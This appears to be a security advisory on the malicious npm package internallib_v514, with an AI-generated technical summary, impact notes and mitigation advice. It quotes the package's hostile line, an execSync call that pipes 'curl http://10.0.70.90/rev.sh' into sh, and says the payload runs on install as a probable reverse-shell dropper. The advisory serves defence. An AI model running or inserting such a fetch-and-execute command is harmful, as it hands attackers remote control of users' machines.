Malicious code in internallib_v514 (npm)
--- _-= Per source details.

This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes `require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh")`, providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named `rev.sh` — consistent with a reverse-shell dropper.
AI Analysis
Technical Summary
The internallib_v514 npm package version 1.0.0 exports a function that synchronously executes a shell command using Node.js child_process.execSync. This command downloads a shell script from a hardcoded internal IP address (http://10.0.70.90/rev.sh) via plaintext HTTP and pipes it directly into the shell for execution. The script name suggests a reverse-shell payload, enabling remote code execution. The package does not verify the integrity or authenticity of the downloaded script, lacks TLS encryption, and fetches code from a non-registry, non-publisher endpoint, making any invocation of this function a direct execution of attacker-controlled code.
Potential Impact
Any consumer of the internallib_v514 package version 1.0.0 that invokes the exported command function will execute arbitrary code controlled by an attacker. This can lead to full system compromise, including establishing a reverse shell for remote access. The lack of integrity checks and use of plaintext HTTP increases the risk of interception or manipulation of the payload.
Mitigation Recommendations
No official patch or remediation is currently documented. Users should immediately stop using internallib_v514 version 1.0.0 and remove it from their projects. Avoid invoking the exported command function. Verify dependencies for malicious code and consider using trusted package sources. Monitor for updates or advisories from the package publisher or security community for remediation guidance. Patch status is not yet confirmed — check the vendor advisory for current remediation guidance.
